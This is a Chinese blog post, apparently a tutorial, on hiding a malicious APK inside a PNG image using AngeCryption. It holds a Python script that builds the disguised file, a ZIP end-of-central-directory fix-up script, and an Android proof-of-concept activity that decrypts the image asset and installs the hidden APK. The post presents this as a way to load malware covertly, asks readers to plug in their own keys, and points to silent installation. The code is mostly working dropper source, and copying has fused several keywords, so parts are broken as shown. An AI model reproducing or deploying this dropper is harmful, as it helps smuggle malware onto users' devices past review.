图片隐藏文件技术

 

之前看到一篇关于将文件隐藏在图片中的技术介绍,感觉非常有意思,于是研究了一下,它介绍的是将恶意apk文件加密成一张图片,再把它放到正常的apk里,当用户点击这张图片的时候再将它解密,就能实现恶意加载了,不过经过自己的测试,apk文件处理后会导致签名校验失败,从而导致无法安装,重新签名的话又不能加密成图片,一个办法就是将apk文件压缩成一个zip文件,再把这个zip文件加密成图片就可以了。

 

下面是将zip文件隐藏在图片中的介绍:

 

一、        处理原始文件

这步很重要,因为直接将文件通过AES加密的话并不能形成一张有效的图片,必须经过特殊处理,下面是处理脚本:

 

#AngeCryption:getting valid files after encryption
 
#takesany file as input, and a standard PDF/PNG/JPG as target
#willcreate a result_file that is source_file with appended 'garbage'
#andonce ENcrypted with the chosen algorithm with the supplied script, it will showtarget_file
 
#anyblock cipher is supported as long as the block size matches the target type'sheader
 
#AngeAlbertini 2014, BSD Licence - with the help of Jean-Philippe Aumasson
 
# -Added FLV support
 
importstruct
importsys
importbinascii
 
PNGSIG ='\x89PNG\r\n\x1a\n'
JPGSIG ="\xff\xd8"
FLVSIG ="FLV"
 
source_file,target_file, result_file, encryption_key, algo = sys.argv[1:6]
 
ifalgo.lower() == "aes":
    from Crypto.Cipher import AES
    algo = AES
    BS = 16
else:
    from Crypto.Cipher import DES3 # will workonly with JPEG as others require 16 bytes block size
    algo = DES3
    BS = 8
 
pad =lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) # non-standard paddingmight be preferred for PDF
 
#fromCrypto import Random
#key =Random.new().read(16)
key =encryption_key
 
withopen(source_file, "rb") as f:
    s = pad(f.read())
 
with open(target_file,"rb") as f:
    t = pad(f.read())
 
p =s[:BS] # our first plaintext block
ecb_dec= algo.new(key, algo.MODE_ECB)
 
# weneed to generate our first cipher block, depending on the target type
 
ift.startswith(PNGSIG): #PNG
    assert BS >= 16
    size = len(s) - BS
 
    # our dummy chunk type
    # 4 letters, first letter should belowercase to be ignored
    chunktype = 'aaaa'
 
    # PNG signature, chunk size, our dummychunk type
    c = PNGSIG +struct.pack(">I",size) + chunktype
 
    c = ecb_dec.decrypt(c)
    IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
    cbc_enc = algo.new(key, algo.MODE_CBC, IV)
    result = cbc_enc.encrypt(s)
 
    #write the CRC of the remaining of s at theend of our dummy block
    result = result +struct.pack(">I", binascii.crc32(result[12:]) % 0x100000000)
    #and append the actual data of t, skippingthe sig
    result = result + t[8:]
 
elift.startswith(JPGSIG): #JPG
    assert BS >= 2
 
    size = len(s) - BS # we could make thisshorter, but then could require padding again
 
    # JPEG Start of Image, COMment segmentmarker, segment size, padding
    c = JPGSIG + "\xFF\xFE" +struct.pack(">H",size) + "\0" * 10
 
    c = ecb_dec.decrypt(c)
    IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
    cbc_enc = algo.new(key, algo.MODE_CBC, IV)
    result = cbc_enc.encrypt(s)
 
    #and append the actual data of t, skippingthe sig
    result = result + t[2:]
elift.startswith(FLVSIG):
    assert BS >= 9
    size = len(s) - BS # we could make thisshorter, but then could require padding again
 
    # reusing FLV's sig and type, data offset,padding
    c = t[:5] +struct.pack(">I",size + 16) + "\0" * 7
 
    c = ecb_dec.decrypt(c)
    IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
    cbc_enc = algo.new(key, algo.MODE_CBC, IV)
    result = cbc_enc.encrypt(s)
 
    #and append the actual data of t, skippingthe sig
    result = result + t[9:]
elift.find("%PDF-") > -1:
    assert BS >= 16
    size = len(s) - BS # we take the wholefirst 16 bits
 
    #truncated signature, dummy stream objectstart
    c = "%PDF-\0obj\nstream"
 
    c = ecb_dec.decrypt(c)
    IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
    cbc_enc = algo.new(key, algo.MODE_CBC, IV)
    result = cbc_enc.encrypt(s)
 
    #close the dummy object and append thewhole t
    #(we don't know where the sig is, we can'tskip anything)
    result = result +"\nendstream\nendobj\n" + t
 
else:
    print "file type not supported"
    sys.exit()
 
 
#we haveour result, key and IV
 
#generatethe result file
cbc_dec= algo.new(key, algo.MODE_CBC, IV)
withopen(result_file, "wb") as f:
    f.write(cbc_dec.decrypt(pad(result)))
 
#generatethe script
result_file= "eocd2_"+result_file
print"""from Crypto.Cipher import %(algo)s
BS=%(BS)d
pad =%(pad)s
algo =%(algo)s.new(%(key)s, %(algo)s.MODE_CBC, %(IV)s)
 
withopen(%(source)s, "rb") as f:
d = pad(f.read())
 
d =algo.encrypt(d)
 
withopen("dec-" + %(target)s, "wb") as f:
f.write(d)""" % {
        'algo':algo.__name__.split(".")[-1],
        'BS':BS,
        'pad':"lambda s: s + (BS - len(s) %BS) * chr(BS - len(s) % BS)",
        'key':`key`,
        'IV':`IV`,
        'source':`result_file`,
        'target':`target_file`}

以上面的PNG图片为例来介绍一下处理的流程。

 

 

1、 PNG图片特征:

      1) PNG图片开头以\x89PNG\r\n\x1a\n八个字节作为图片识别标志

      2) PNG图片中的垃圾数据格式

             Chunk length

             Chunk id

             Chunk data

             CRC32 of chunk data and id

2、 了解了PNG图片特征,那么我们就知道文件要想成为一张有效的PNG图片,需要两个步骤,一个是加入PNG头部标识,二是将原始文件数据标识为垃圾数据,这样就能成为有效的图片了

 

3、 代码分析:

1) 原始文件转换成图片:

IV ="".join([chr(ord(c[i]) ^ ord(p[i])) for i in range(BS)])

关键在于这个,AES加密是分块加密的,每个块16个字节,加密用的IV是上一个IV转换的,但是我们只需要控制第一块数据就行了,上面这个IV就是将第一块数据转换成PNG图片前八个字节+Garbage Chunk格式,其中Garbage Chunk目的就是将原始文件数据标志为垃圾数据,这样识别的时候就成为了一张有效图片了

 

2) 图片还原成原始图片:

经过上面的处理后可以形成一张隐藏了文件的图片,然后通过AES解密就能将第一块数据还原成原始文件的数据,又因为ZIP文件这种都有一个EOCD(end of central directory)标志在末尾,因此还原后识别就不会把PNG数据考虑进去,不过也有一个问题,解压缩软件不接受ZIP文件末尾有太多的附加数据,这个会导致无法解压。因此还需要一个步骤

   

3) 添加EOCD:

既然解压缩软件无法接受末尾多余数据,那么就需要在处理后的文件末尾再加上一个EOCD,那么这个EOCD怎么获取呢,当然是去读取原始文件的EOCD了,下面是脚本:

 

#duplicate & adjust the EoCD of a ZIP archive at the bottom of the file
# toincrease compatibility in the case of big appended data
 
#AngeAlbertini, BSD Licence 2014
#AxelleApvrille, modif to use from command line
 
importstruct
importsys
 
defGetExtraEoCD(data, delta):
    """returns the adjusted EoCDof a ZIP file"""
    #Locate the signature of End of CentralDirectory
    eocdoff = data.find("PK\5\6")
 
    #read the comment length to get the fullEoCD length
    cmtlen = struct.unpack("<H",data[eocdoff + 5 * 4: eocdoff + 5 * 4 + 2])[0]
 
    #grab the EoCD data
    eocdlen = cmtlen + 5 * 4 + 2
    eocd = data[eocdoff: eocdoff + eocdlen + 1]
 
    #the relative offset of the EoCD to the CDneeds to be read
    reloff = struct.unpack("<L",eocd[3 * 4: 3 * 4 + 4]) [0]
 
    #then adjusted
    reloff += DELTA + eocdlen # the previousEoCD is now irrelevant
    eocd = eocd[:3 * 4] +struct.pack("<L", reloff) + eocd[3 * 4 + 4:]
 
    return eocd
 
if__name__ == "__main__":
    fn = sys.argv[1]
 
    DELTA = 256 * 1024
 
    with open(fn, "rb") as f:
        d = f.read()
 
    with open("eocd2_" + fn,"wb") as f:
        f.write(d + "\0" * DELTA +GetExtraEoCD(d, DELTA))

经过上面的处理后就大功告成了,可以把处理后的文件用之前设置好的IV和key来加密成一张图片了。注意的是你必须使用之前的IV和key,因为这样加密后的才是按照上面介绍的预期效果,否则无效。

 

 

 

二、        软件运行时动态解密图片

上面介绍了如何将zip文件加密成图片,接着介绍如何将这张图片动态解密成zip文件,下面是主要代码:

 

package com.fortiguard.poc.angecrypt;
 
import android.widget.TextView;
import android.widget.Button;
import android.view.View;
import android.app.Activity;
import android.os.Bundle;
import android.content.res.AssetManager;
import java.io.*;
import android.content.Intent;
import android.net.Uri;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import android.widget.Toast;
import android.util.Log;
import android.content.Context;
import android.os.Environment;
import android.widget.ImageView;
import android.graphics.drawable.Drawable;
 
public class PocActivity extends Activity
{
    public TextView txtView = null;
    public ImageView mImage = null;
 
    // full path name for decrypted APK: e.g/storage/sdcard/hidden.apk
    public static final String PAYLOAD_APK =Environment.getExternalStorageDirectory() + "/hidden.apk";
 
    /** Called when the activity is firstcreated. */
    @Override
    public void onCreate(BundlesavedInstanceState)    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
 
        txtView = (TextView)findViewById(R.id.txtView);
        Button goBtn = (Button)findViewById(R.id.goBtn);
        mImage = (ImageView)findViewById(R.id.image);
 
       // display the png
       try {
         InputStream ims = getAssets().open("anakin.png");
         Drawable d = Drawable.createFromStream(ims, null);
         mImage.setImageDrawable(d);
         Log.i("PoC", "Image displayed");
       }
       catch(IOException exp) {
         Log.e("PoC", "Image display exception caught:"+exp.toString());
         exp.printStackTrace();
         txtView.setText("An error occurred :(");
       }
 
      // do the job when the GO button is pressed
      goBtn.setOnClickListener(newView.OnClickListener()         {
            public void onClick(View v)             {               
             try {
                Log.i("PoC", "reading asset...");
                byte [] png = readAsset("anakin.png");
 
                // decrypting
                String key = "Anakin= DarkSide";
                byte [] iv = { (byte) 0xd3,(byte) 0x9e,(byte) 0xc,(byte) 0xef,
                         (byte) 0x23,(byte) 0x70,(byte) 0x2a,(byte)0xa3,
                         (byte) 0xe9,(byte) 0x8a,(byte) 0xcc,(byte)0x3a,
                         (byte) 0x2b,(byte) 0xf0,(byte) 0x1a,(byte)0xec };
 
 
                 Log.i("PoC", "decrypting asset...");
                 byte [] decrypted = decrypt(key.getBytes(), iv, png);
 
                 // dumping the decrypted asset
                 Log.i("PoC", "writing decrypted asset to: "+PocActivity.PAYLOAD_APK);
                 writeFile(decrypted, PocActivity.PAYLOAD_APK);
 
                 // installing it
                 Log.i("PoC", "installing apk...");
                 installApk(PocActivity.PAYLOAD_APK);
 
                 Log.i("PoC", "done");
                 txtView.setText("The hidden APK has been installed!");
              }
              catch(Exception exp) {
                 Log.e("PoC", "Exception caught: "+exp.toString());
                 exp.printStackTrace();
                 txtView.setText("An error occurred :(");
              }
            }
        });
    }
 
    public byte [] readAsset(String filename)throws IOException {
       AssetManager assetmanager = getAssets();
       InputStream in = assetmanager.open(filename);
       int size = in.available();
       byte[] buffer = new byte[size];
       in.read(buffer);
       in.close();
       return buffer;
    }
 
    public void writeFile(byte [] array, Stringfilename) throws Exception {
       File myFile = new File(filename);
       myFile.createNewFile();
       FileOutputStream fout = newFileOutputStream(myFile);
       fout.write(array, 0, array.length);
       fout.close();
    }
 
    public void installApk(String filename) {
       Intent intent =new Intent(Intent.ACTION_VIEW);
       Log.i("PoC", "File:"+filename);
       //     
       intent.setClassName("com.fortiguard.hidestr","com.fortiguard.hidestr.HideString");
       intent.setDataAndType(Uri.fromFile(newFile(filename)), 
       "application/vnd.android.package-archive");
       //     intent.setPackage("com.fortiguard.hidestr");
       intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
       Log.i("PoC", "Intent is:"+intent.toString());
       startActivity(intent);
    }
 
    private static byte[] decrypt(byte[]keyBytes,
                        byte [] iv,
                        byte[] ciphertext) throws Exception {
       IvParameterSpec ivspec = newIvParameterSpec(iv);
       SecretKeySpec sk = new SecretKeySpec(keyBytes,"AES");
       Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
       cipher.init(Cipher.DECRYPT_MODE, sk, ivspec);
       byte[] decrypted = cipher.doFinal(ciphertext);
       return decrypted;
    }
 
}

只要将上面的IV和key替换成你加密后的就行了,当然如果想实现静默安装,可以考虑用DexClassLoader等技术实现,这里就不多介绍了。另外附赠一个代码链接:

 

 

https://github.com/cryptax/angeapk

       

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值